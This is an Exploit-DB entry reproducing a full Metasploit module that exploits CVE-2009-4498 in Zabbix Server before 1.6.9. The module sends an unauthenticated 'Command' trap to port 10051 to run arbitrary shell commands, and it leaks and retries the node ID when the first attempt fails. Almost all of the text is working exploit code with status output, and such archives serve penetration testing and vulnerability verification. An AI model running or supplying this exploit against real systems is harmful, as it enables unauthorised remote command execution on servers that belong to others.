标题: Zabbix Server - Arbitrary Command Execution (Metasploit) EDB-ID: 20796 CVE: 2009-4498 类型: REMOTE 平台: LINUX 发布日期: 2012-08-27 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Zabbix Server Arbitrary Command Execution',
   'Description'    => %q{
     This module abuses the "Command" trap in Zabbix Server to execute arbitrary
    commands without authentication. By default the Node ID "0" is used, if it doesn't
    work, the Node ID is leaked from the error message and exploitation retried.

    According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
    has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
   },
   'Author'         =>
    [
     'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2009-4498' ],
     [ 'OSVDB', '60965' ],
     [ 'BID', '37989' ],
     [ 'EDB', '10432' ],
     [ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic telnet',
       # *_perl, *_python and *_ruby work if they are installed
      }
    },
   'Targets'        =>
    [
     [ 'Zabbix 1.6.7', { } ]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate'  => 'Sep 10 2009'
  ))

  register_options(
   [
    Opt::RPORT(10051),
   ], self.class)
 end

 def send_command(sock, node_id, cmd)
  host_id = Rex::Text.rand_text_numeric(3)
  msg = "Command\255"
  msg << "#{node_id}\255"
  msg << "#{host_id}\255"
  msg << "#{cmd}\n"
  sock.put(msg)
  res = sock.get_once
  return res
 end

 def check
  peer = "#{rhost}:#{rport}"
  node_id = 0
  clue = Rex::Text.rand_text_alpha(rand(5)+5)
  cmd = "echo #{clue}"

  connect
  print_status("#{peer} - Sending 'Command' request...")
  res = send_command(sock, node_id, cmd)
  disconnect

  if res
   print_status(res)
   if res =~ /#{clue}/
    return Exploit::CheckCode::Vulnerable
   elsif res =~ /-1/ and res=~ /NODE (\d*)/
    node_id = $1
    print_good("#{peer} - Node ID #{node_id} discovered")
   else
    return Exploit::CheckCode::Safe
   end
  else # No response
   return Exploit::CheckCode::Safe
  end

  # Retry with the good node_id
  connect
  print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
  res = send_command(sock, node_id, cmd)
  disconnect
  if res and res =~ /#{clue}/
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  peer = "#{rhost}:#{rport}"
  node_id = 0
  cmd = payload.encoded

  connect
  print_status("#{peer} - Sending 'Command' request...")
  res = send_command(sock, node_id, cmd)
  disconnect

  if res and res =~ /-1/ and res=~ /NODE (\d*)/
   # Retry with the good node_id
   node_id = $1
   print_good("#{peer} - Node ID #{node_id} discovered")
   connect
   print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
   res = send_command(sock, node_id, cmd)
   disconnect
  end

  # Read command output from socket if cmd/unix/generic payload was used
  if (datastore['CMD'])
   if res and res =~ /\x30\xad/
    print_good("#{peer} - Command executed successfully")
    print_status("Output:\n#{res.split("\x30\xad").last}")
   else
    print_error("#{peer} - Failed to execute the command")
   end
  end

 end

end URL: https://www.exploit-db.com/exploits/20796